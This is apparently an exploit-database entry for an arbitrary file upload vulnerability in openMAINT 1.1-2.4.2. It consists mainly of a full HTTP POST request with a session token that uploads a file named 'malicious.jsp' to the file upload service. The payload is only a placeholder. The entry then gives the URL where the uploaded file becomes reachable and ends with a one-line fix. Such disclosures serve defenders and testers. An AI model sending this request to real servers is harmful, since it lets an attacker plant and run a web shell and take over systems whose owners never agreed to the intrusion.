openMAINT 1.1-2.4.2 Arbitrary File Upload

`# Exploit Title: openMAINT 1.1-2.4.2 - Arbitrary File Upload  
# Dork: N/A  
# Date: 2020-08-19  
# Exploit Author: mrb3n  
# Vendor Homepage: https://www.openmaint.org/en  
# Software Link: https://sourceforge.net/projects/openmaint/files/1.1/openmaint-1.1-2.4.2.zip/download  
# Version: 1.1-2.4.2  
# Category: Webapps  
# Tested on: Ubuntu 16.04  
# CVE: N/A  
  
  
# POC: http://localhost:8080/openmaint/administration.jsp  
#  
POST /openmaint/services/json/file/upload?CMDBuild-Authorization=fnlt93ijq0dru5qtenme73d4lf HTTP/1.1  
  
Host: 192.168.1.1:8080  
  
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0  
  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
  
Accept-Language: en-US,en;q=0.5  
  
Accept-Encoding: gzip, deflate  
  
Content-Type: multipart/form-data; boundary=---------------------------12239060382062588071523757460  
  
Content-Length: 1369  
  
Origin: http://192.168.1.1:8080  
  
DNT: 1  
  
Connection: close  
  
Referer: http://192.168.1.1:8080/openmaint/administration.jsp  
  
Cookie: JSESSIONID=5BAAEBDCC2151BD59ED2CD6FD3CA8165; CMDBuild-Authorization=fnlt93ijq0dru5qtenme73d4lf  
  
Upgrade-Insecure-Requests: 1  
  
  
  
-----------------------------12239060382062588071523757460  
  
Content-Disposition: form-data; name="fileStore"  
  
  
  
images  
  
-----------------------------12239060382062588071523757460  
  
Content-Disposition: form-data; name="folder"  
  
  
  
d41d8cd98f00b204e9800998ecf8427e  
  
-----------------------------12239060382062588071523757460  
  
Content-Disposition: form-data; name="file"; filename="malicious.jsp"  
  
Content-Type: application/octet-stream  
  
  
  
[Malicious code here]  
  
  
-----------------------------12239060382062588071523757460--  
  
  
# The malicious file will be uploaded directly to the /upload/images directory with the file name unchanged, example:  
http://192.168.1.1:8080/openmaint/upload/images/malicious.jsp  
# How to fix: Update to the latest version  
# Earlier versions as well as other 1.1-x versions are likely vulnerable.  
`